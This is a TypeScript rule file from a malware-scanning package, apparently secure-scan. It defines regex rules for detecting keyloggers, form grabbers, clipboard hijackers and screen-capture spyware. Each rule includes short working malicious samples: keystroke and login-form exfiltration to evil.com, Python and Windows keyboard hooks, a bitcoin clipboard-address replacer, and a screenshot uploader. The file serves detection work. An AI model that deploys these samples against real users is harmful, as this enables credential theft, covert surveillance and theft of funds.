secure-scan 1.2.2

package/src/rules/malware/categories/keyloggers.ts

@@ -0,0 +1,780 @@
+/**
+ * @fileoverview Keylogger and Spyware Detection Rules
+ * @module rules/malware/categories/keyloggers
+ * 
+ * Comprehensive rules for detecting keylogging and spyware including:
+ * - JavaScript keyloggers (browser-based)
+ * - System-level keyloggers (Python, C#, C/C++)
+ * - Form grabbers
+ * - Clipboard monitors
+ * - Screen capture malware
+ */
+
+import {
+  MalwareRule,
+  MalwareThreatType,
+  MalwareCategory,
+  MalwareSeverity,
+  ConfidenceLevel,
+  SupportedLanguage,
+  PatternType,
+  MitreTactic
+} from '../types';
+
+// ============================================================================
+// JAVASCRIPT KEYLOGGER RULES
+// ============================================================================
+
+export const jsKeyloggerRules: MalwareRule[] = [
+  {
+    id: 'MAL-KEY-001',
+    name: 'JavaScript Keylogger - Event Listener',
+    description: 'Detects JavaScript code that captures keyboard events with potential data exfiltration.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.KEYLOGGER,
+    category: MalwareCategory.SPYWARE,
+    languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
+    severity: MalwareSeverity.CRITICAL,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 85,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'keydown-listener',
+        pattern: 'addEventListener\\s*\\([\'"]key(?:down|up|press)[\'"][\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|axios|sendBeacon|WebSocket)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Key event listener with network activity'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'onkey-handler',
+        pattern: '(?:document|window)\\.onkey(?:down|up|press)\\s*=\\s*function[\\s\\S]*?(?:http|fetch|send)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'onkey handler with network call'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'key-accumulator',
+        pattern: 'key(?:down|up|press)[\\s\\S]*?(?:push|concat|\\+=)[\\s\\S]*?(?:key|char|which|keyCode)',
+        flags: 'gis',
+        weight: 0.8,
+        description: 'Key accumulation pattern'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'input-monitor',
+        pattern: 'addEventListener\\s*\\([\'"]input[\'"][\\s\\S]*?(?:\\$\\.post|fetch|XMLHttpRequest)',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'Input monitoring with exfiltration'
+      }
+    ],
+    amplifyingPatterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'password-focus',
+        pattern: 'type\\s*[=:]\\s*[\'"]password[\'"]|\\[type=password\\]',
+        flags: 'gi',
+        weight: 0.5,
+        description: 'Password field targeting'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'hidden-exfil',
+        pattern: 'display\\s*:\\s*none|visibility\\s*:\\s*hidden|position\\s*:\\s*absolute[^}]*-9999',
+        flags: 'gi',
+        weight: 0.3,
+        description: 'Hidden exfiltration elements'
+      }
+    ],
+    falsePositivePatterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'analytics-context',
+        pattern: 'analytics|tracking|hotjar|mouseflow|fullstory',
+        flags: 'gi',
+        weight: 0.4,
+        description: 'Legitimate analytics tools'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `let keys = [];
+document.addEventListener('keydown', (e) => {
+  keys.push(e.key);
+  if (keys.length >= 20) {
+    fetch('https://evil.com/log', {
+      method: 'POST',
+      body: JSON.stringify({ keys: keys, url: location.href })
+    });
+    keys = [];
+  }
+});`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Keylogger with batch exfiltration'
+      }
+    ],
+    falsePositiveExamples: [
+      {
+        code: `document.addEventListener('keydown', (e) => {
+  if (e.key === 'Escape') {
+    closeModal();
+  }
+});`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: false,
+        description: 'Legitimate keyboard shortcut handler'
+      }
+    ],
+    impact: {
+      technical: 'Captures and exfiltrates user keystrokes including passwords and sensitive data.',
+      business: 'Credential theft, data breach, identity theft risk.',
+      affectedAssets: ['User credentials', 'Sensitive input data'],
+      dataAtRisk: ['Passwords', 'Personal information', 'Financial data']
+    },
+    remediation: {
+      summary: 'Remove keylogger code and audit all keyboard event handlers.',
+      steps: [
+        'Remove the malicious event listeners',
+        'Audit all keyboard event handlers in the codebase',
+        'Implement Content Security Policy',
+        'Review third-party scripts',
+        'Consider using virtual keyboards for sensitive input'
+      ]
+    },
+    mitreAttack: [
+      {
+        tacticId: MitreTactic.CREDENTIAL_ACCESS,
+        tacticName: 'Credential Access',
+        techniqueId: 'T1056.001',
+        techniqueName: 'Keylogging',
+        url: 'https://attack.mitre.org/techniques/T1056/001/'
+      },
+      {
+        tacticId: MitreTactic.COLLECTION,
+        tacticName: 'Collection',
+        techniqueId: 'T1056',
+        techniqueName: 'Input Capture',
+        url: 'https://attack.mitre.org/techniques/T1056/'
+      }
+    ],
+    tags: ['keylogger', 'javascript', 'spyware', 'credential-theft', 'critical'],
+    enabled: true
+  },
+  {
+    id: 'MAL-KEY-002',
+    name: 'JavaScript Keylogger - Form Grabber',
+    description: 'Detects form submission interception and data stealing.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.CREDENTIAL_STEALER,
+    category: MalwareCategory.SPYWARE,
+    languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
+    severity: MalwareSeverity.CRITICAL,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 88,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'form-submit-intercept',
+        pattern: 'addEventListener\\s*\\([\'"]submit[\'"][\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|\\$\\.post)',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'Form submit interception with exfil'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'form-data-grab',
+        pattern: 'new\\s+FormData\\s*\\([^)]*\\)[\\s\\S]*?(?:fetch|post|send)[\\s\\S]*?(?!same-origin)',
+        flags: 'gis',
+        weight: 0.8,
+        description: 'FormData extraction and sending'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'login-form-target',
+        pattern: 'querySelector\\s*\\([\'"][^\'\"]*(?:login|signin|password)[^\'\"]*[\'"]\\)[\\s\\S]*?(?:value|innerText)',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'Login form field extraction'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'parallel-exfil',
+        pattern: 'addEventListener\\s*\\([\'"]submit[\'"][\\s\\S]*?(?:Image|img)\\.src\\s*=',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Image beacon exfiltration on submit'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `document.querySelector('form[action*="login"]').addEventListener('submit', (e) => {
+  const formData = new FormData(e.target);
+  const img = new Image();
+  img.src = 'https://evil.com/steal?u=' + encodeURIComponent(formData.get('username')) + 
+            '&p=' + encodeURIComponent(formData.get('password'));
+});`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Login form grabber with image beacon'
+      }
+    ],
+    impact: {
+      technical: 'Intercepts form submissions to steal credentials and sensitive data.',
+      business: 'Direct credential theft leading to account compromise.',
+      affectedAssets: ['User accounts', 'Login credentials'],
+      dataAtRisk: ['Usernames', 'Passwords', 'Form data']
+    },
+    remediation: {
+      summary: 'Remove form grabber and implement form submission monitoring.',
+      steps: [
+        'Remove malicious form event listeners',
+        'Audit all form submit handlers',
+        'Implement Subresource Integrity for scripts',
+        'Use CSP to restrict data exfiltration'
+      ]
+    },
+    mitreAttack: [
+      {
+        tacticId: MitreTactic.CREDENTIAL_ACCESS,
+        tacticName: 'Credential Access',
+        techniqueId: 'T1056.003',
+        techniqueName: 'Web Portal Capture',
+        url: 'https://attack.mitre.org/techniques/T1056/003/'
+      }
+    ],
+    tags: ['keylogger', 'form-grabber', 'credential-theft', 'critical'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// SYSTEM KEYLOGGER RULES
+// ============================================================================
+
+export const systemKeyloggerRules: MalwareRule[] = [
+  {
+    id: 'MAL-KEY-010',
+    name: 'Python Keylogger - pynput Library',
+    description: 'Detects Python keyloggers using the pynput library.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.KEYLOGGER,
+    category: MalwareCategory.SPYWARE,
+    languages: [SupportedLanguage.PYTHON],
+    severity: MalwareSeverity.CRITICAL,
+    confidence: ConfidenceLevel.CONFIRMED,
+    baseScore: 90,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'pynput-listener',
+        pattern: 'pynput\\.keyboard\\.Listener\\s*\\(',
+        flags: 'gi',
+        weight: 0.9,
+        description: 'pynput keyboard listener'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'pynput-onpress',
+        pattern: 'on_press\\s*=\\s*(?:lambda|def)',
+        flags: 'gi',
+        weight: 0.8,
+        description: 'pynput on_press callback'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'keyboard-hook-log',
+        pattern: 'keyboard\\.on_(?:press|release)[\\s\\S]*?(?:write|append|log|send|post)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Keyboard hook with logging'
+      }
+    ],
+    amplifyingPatterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'file-write',
+        pattern: 'open\\s*\\([^)]+,\\s*[\'"][wa][\'"]\\)[\\s\\S]*?write',
+        flags: 'gis',
+        weight: 0.4,
+        description: 'File write operation'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'smtp-send',
+        pattern: 'smtplib\\.SMTP|sendmail',
+        flags: 'gi',
+        weight: 0.5,
+        description: 'Email sending capability'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `from pynput.keyboard import Key, Listener
+import logging
+
+logging.basicConfig(filename="keylog.txt", level=logging.DEBUG)
+
+def on_press(key):
+    logging.info(str(key))
+
+with Listener(on_press=on_press) as listener:
+    listener.join()`,
+        language: SupportedLanguage.PYTHON,
+        isMalicious: true,
+        description: 'Python keylogger with file logging'
+      }
+    ],
+    impact: {
+      technical: 'System-level keystroke capture on the host machine.',
+      business: 'Complete credential and data theft capability.',
+      affectedAssets: ['All user input', 'System credentials'],
+      dataAtRisk: ['All keystrokes', 'Passwords', 'Messages']
+    },
+    remediation: {
+      summary: 'Remove the keylogger script and investigate the installation vector.',
+      steps: [
+        'Remove the malicious Python script',
+        'Check for persistence mechanisms',
+        'Audit installed Python packages',
+        'Change all potentially compromised credentials'
+      ]
+    },
+    mitreAttack: [
+      {
+        tacticId: MitreTactic.CREDENTIAL_ACCESS,
+        tacticName: 'Credential Access',
+        techniqueId: 'T1056.001',
+        techniqueName: 'Keylogging',
+        url: 'https://attack.mitre.org/techniques/T1056/001/'
+      }
+    ],
+    tags: ['keylogger', 'python', 'pynput', 'spyware', 'critical'],
+    enabled: true
+  },
+  {
+    id: 'MAL-KEY-011',
+    name: 'Windows Keylogger - SetWindowsHookEx',
+    description: 'Detects Windows API-based keyloggers using SetWindowsHookEx.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.KEYLOGGER,
+    category: MalwareCategory.SPYWARE,
+    languages: [SupportedLanguage.C, SupportedLanguage.CPP, SupportedLanguage.CSHARP],
+    severity: MalwareSeverity.CRITICAL,
+    confidence: ConfidenceLevel.CONFIRMED,
+    baseScore: 92,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'setwindowshookex-kb',
+        pattern: 'SetWindowsHookEx\\s*\\([^)]*WH_KEYBOARD',
+        flags: 'gi',
+        weight: 1.0,
+        description: 'Keyboard hook installation'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'lowlevelkeyboard',
+        pattern: 'SetWindowsHookEx\\s*\\([^)]*WH_KEYBOARD_LL',
+        flags: 'gi',
+        weight: 1.0,
+        description: 'Low-level keyboard hook'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'getasynckeystate',
+        pattern: 'GetAsyncKeyState\\s*\\([^)]*\\)',
+        flags: 'gi',
+        weight: 0.7,
+        description: 'GetAsyncKeyState polling'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'getkeystate',
+        pattern: 'GetKeyState\\s*\\([^)]*\\)',
+        flags: 'gi',
+        weight: 0.6,
+        description: 'GetKeyState polling'
+      }
+    ],
+    amplifyingPatterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'vk-codes',
+        pattern: 'VK_(?:BACK|TAB|RETURN|SHIFT|CONTROL|MENU|SPACE)',
+        flags: 'g',
+        weight: 0.3,
+        description: 'Virtual key code constants'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, 0);
+MSG msg;
+while (GetMessage(&msg, NULL, 0, 0)) {
+    TranslateMessage(&msg);
+    DispatchMessage(&msg);
+}`,
+        language: SupportedLanguage.CPP,
+        isMalicious: true,
+        description: 'Windows low-level keyboard hook'
+      }
+    ],
+    impact: {
+      technical: 'Low-level Windows keyboard hook capturing all keystrokes.',
+      business: 'Complete system credential and input compromise.',
+      affectedAssets: ['All Windows input', 'System credentials'],
+      dataAtRisk: ['All keystrokes', 'System passwords', 'Sensitive data']
+    },
+    remediation: {
+      summary: 'Remove the keylogger binary and clean the system.',
+      steps: [
+        'Terminate the malicious process',
+        'Remove the executable and any persistence',
+        'Scan system with antimalware tools',
+        'Reset all credentials'
+      ]
+    },
+    tags: ['keylogger', 'windows', 'hook', 'native', 'critical'],
+    enabled: true
+  },
+  {
+    id: 'MAL-KEY-012',
+    name: 'C# Keylogger - .NET Keyboard Hook',
+    description: 'Detects .NET-based keyloggers using keyboard hooks.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.KEYLOGGER,
+    category: MalwareCategory.SPYWARE,
+    languages: [SupportedLanguage.CSHARP],
+    severity: MalwareSeverity.CRITICAL,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 88,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'dotnet-hook',
+        pattern: '\\[DllImport\\([\'"]user32\\.dll[\'"]\\)\\][\\s\\S]*?SetWindowsHookEx',
+        flags: 'gis',
+        weight: 1.0,
+        description: '.NET SetWindowsHookEx import'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'keyboard-interceptor',
+        pattern: 'class\\s+\\w*(?:Keyboard|Key)(?:Logger|Hook|Interceptor)',
+        flags: 'gi',
+        weight: 0.7,
+        description: 'Keyboard interceptor class'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'rawkeyboard',
+        pattern: 'RawKeyboardHook|GlobalKeyboardHook',
+        flags: 'gi',
+        weight: 0.9,
+        description: 'Raw keyboard hook libraries'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `[DllImport("user32.dll")]
+public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc callback, IntPtr hInstance, uint threadId);
+
+private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
+    if (nCode >= 0) {
+        int vkCode = Marshal.ReadInt32(lParam);
+        StreamWriter sw = new StreamWriter(@"C:\\keylog.txt", true);
+        sw.Write((Keys)vkCode);
+        sw.Close();
+    }
+    return CallNextHookEx(_hookID, nCode, wParam, lParam);
+}`,
+        language: SupportedLanguage.CSHARP,
+        isMalicious: true,
+        description: 'C# keylogger with file logging'
+      }
+    ],
+    impact: {
+      technical: '.NET application capturing keyboard input.',
+      business: 'Credential theft through keyboard monitoring.',
+      affectedAssets: ['User input', 'Credentials'],
+      dataAtRisk: ['Keystrokes', 'Passwords']
+    },
+    remediation: {
+      summary: 'Remove the .NET keylogger and audit managed applications.',
+      steps: [
+        'Remove the malicious assembly',
+        'Check for .NET persistence',
+        'Audit installed .NET applications',
+        'Reset credentials'
+      ]
+    },
+    tags: ['keylogger', 'csharp', 'dotnet', 'windows', 'critical'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// CLIPBOARD MONITOR RULES
+// ============================================================================
+
+export const clipboardMonitorRules: MalwareRule[] = [
+  {
+    id: 'MAL-KEY-020',
+    name: 'Clipboard Stealer - Cryptocurrency Address Replacement',
+    description: 'Detects clipboard hijacking malware that replaces cryptocurrency addresses.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.CREDENTIAL_STEALER,
+    category: MalwareCategory.SPYWARE,
+    languages: [
+      SupportedLanguage.JAVASCRIPT,
+      SupportedLanguage.PYTHON,
+      SupportedLanguage.CSHARP
+    ],
+    severity: MalwareSeverity.HIGH,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 78,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'clipboard-monitor-js',
+        pattern: 'navigator\\.clipboard\\.(?:readText|read)\\s*\\([\\s\\S]*?(?:match|test|includes)[\\s\\S]*?(?:btc|bitcoin|ethereum|monero|0x)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'JS clipboard read with crypto detection'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'clipboard-replace',
+        pattern: 'navigator\\.clipboard\\.writeText\\s*\\([^)]*(?:wallet|address|0x)',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'Clipboard write with wallet address'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'pyperclip-monitor',
+        pattern: 'pyperclip\\.(?:paste|copy)[\\s\\S]*?(?:btc|bitcoin|eth|monero|wallet)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Python pyperclip with crypto'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'dotnet-clipboard',
+        pattern: 'Clipboard\\.(?:GetText|SetText)[\\s\\S]*?(?:Regex|Match)[\\s\\S]*?(?:btc|bitcoin|ethereum)',
+        flags: 'gis',
+        weight: 1.0,
+        description: '.NET clipboard with crypto regex'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `import pyperclip
+import re
+btc_pattern = r'^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$'
+attacker_wallet = '1Attacker...'
+while True:
+    clip = pyperclip.paste()
+    if re.match(btc_pattern, clip):
+        pyperclip.copy(attacker_wallet)`,
+        language: SupportedLanguage.PYTHON,
+        isMalicious: true,
+        description: 'BTC address clipboard replacer'
+      }
+    ],
+    impact: {
+      technical: 'Monitors and modifies clipboard content to steal cryptocurrency.',
+      business: 'Direct financial theft through address replacement.',
+      affectedAssets: ['Cryptocurrency wallets', 'Clipboard data'],
+      dataAtRisk: ['Cryptocurrency funds', 'Clipboard contents']
+    },
+    remediation: {
+      summary: 'Remove clipboard hijacker and verify all recent transactions.',
+      steps: [
+        'Remove the malicious script/application',
+        'Review recent cryptocurrency transactions',
+        'Enable clipboard access notifications',
+        'Verify addresses before transactions'
+      ]
+    },
+    mitreAttack: [
+      {
+        tacticId: MitreTactic.COLLECTION,
+        tacticName: 'Collection',
+        techniqueId: 'T1115',
+        techniqueName: 'Clipboard Data',
+        url: 'https://attack.mitre.org/techniques/T1115/'
+      }
+    ],
+    tags: ['clipboard', 'cryptocurrency', 'stealer', 'high'],
+    enabled: true
+  },
+  {
+    id: 'MAL-KEY-021',
+    name: 'Clipboard Monitor - General Data Theft',
+    description: 'Detects general clipboard monitoring for data theft.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.DATA_EXFILTRATION,
+    category: MalwareCategory.SPYWARE,
+    languages: [
+      SupportedLanguage.JAVASCRIPT,
+      SupportedLanguage.TYPESCRIPT,
+      SupportedLanguage.PYTHON
+    ],
+    severity: MalwareSeverity.MEDIUM,
+    confidence: ConfidenceLevel.MEDIUM,
+    baseScore: 60,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'clipboard-interval',
+        pattern: 'setInterval[\\s\\S]*?navigator\\.clipboard\\.readText',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'Periodic clipboard reading'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'clipboard-exfil',
+        pattern: 'navigator\\.clipboard\\.readText[\\s\\S]*?(?:fetch|XMLHttpRequest|sendBeacon)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Clipboard read with exfiltration'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `setInterval(async () => {
+  const clip = await navigator.clipboard.readText();
+  if (clip !== lastClip) {
+    fetch('/log', { method: 'POST', body: clip });
+    lastClip = clip;
+  }
+}, 1000);`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Clipboard monitoring with exfiltration'
+      }
+    ],
+    impact: {
+      technical: 'Continuous clipboard monitoring and data exfiltration.',
+      business: 'Data theft of copied sensitive information.',
+      affectedAssets: ['Clipboard data'],
+      dataAtRisk: ['Passwords', 'API keys', 'Sensitive text']
+    },
+    remediation: {
+      summary: 'Remove clipboard monitor and audit clipboard permissions.',
+      steps: [
+        'Remove the monitoring code',
+        'Review clipboard permission grants',
+        'Audit for similar patterns'
+      ]
+    },
+    tags: ['clipboard', 'monitor', 'exfiltration', 'medium'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// SCREEN CAPTURE RULES
+// ============================================================================
+
+export const screenCaptureRules: MalwareRule[] = [
+  {
+    id: 'MAL-KEY-030',
+    name: 'Screen Capture Malware',
+    description: 'Detects screen capture functionality used for spyware.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.DATA_EXFILTRATION,
+    category: MalwareCategory.SPYWARE,
+    languages: [
+      SupportedLanguage.JAVASCRIPT,
+      SupportedLanguage.PYTHON,
+      SupportedLanguage.CSHARP
+    ],
+    severity: MalwareSeverity.HIGH,
+    confidence: ConfidenceLevel.MEDIUM,
+    baseScore: 70,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'js-screen-capture',
+        pattern: 'getDisplayMedia[\\s\\S]*?(?:fetch|XMLHttpRequest|WebSocket|sendBeacon)',
+        flags: 'gis',
+        weight: 0.8,
+        description: 'Screen capture with exfiltration'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'canvas-exfil',
+        pattern: 'canvas[\\s\\S]*?toDataURL[\\s\\S]*?(?:fetch|XMLHttpRequest|post)',
+        flags: 'gis',
+        weight: 0.7,
+        description: 'Canvas capture with exfiltration'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'python-screenshot',
+        pattern: '(?:PIL|pyautogui|mss)\\.(?:screenshot|grab)[\\s\\S]*?(?:send|post|upload)',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'Python screenshot with upload'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'dotnet-screenshot',
+        pattern: 'Graphics\\.CopyFromScreen[\\s\\S]*?(?:Upload|WebClient|HttpClient)',
+        flags: 'gis',
+        weight: 0.9,
+        description: '.NET screenshot with upload'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `import pyautogui
+import requests
+while True:
+    screenshot = pyautogui.screenshot()
+    screenshot.save('screen.png')
+    requests.post('http://evil.com/upload', files={'img': open('screen.png', 'rb')})
+    time.sleep(60)`,
+        language: SupportedLanguage.PYTHON,
+        isMalicious: true,
+        description: 'Periodic screenshot exfiltration'
+      }
+    ],
+    impact: {
+      technical: 'Captures and exfiltrates screen content.',
+      business: 'Visual data theft including sensitive displayed information.',
+      affectedAssets: ['Screen content', 'Displayed data'],
+      dataAtRisk: ['Visible documents', 'Financial data', 'Personal information']
+    },
+    remediation: {
+      summary: 'Remove screen capture malware and audit display permissions.',
+      steps: [
+        'Remove the malicious code',
+        'Review screen capture permissions',
+        'Audit for persistence mechanisms'
+      ]
+    },
+    tags: ['screenshot', 'spyware', 'exfiltration', 'high'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// EXPORT ALL KEYLOGGER RULES
+// ============================================================================
+
+export const keyloggerRules: MalwareRule[] = [
+  ...jsKeyloggerRules,
+  ...systemKeyloggerRules,
+  ...clipboardMonitorRules,
+  ...screenCaptureRules
+];
+
+export default keyloggerRules;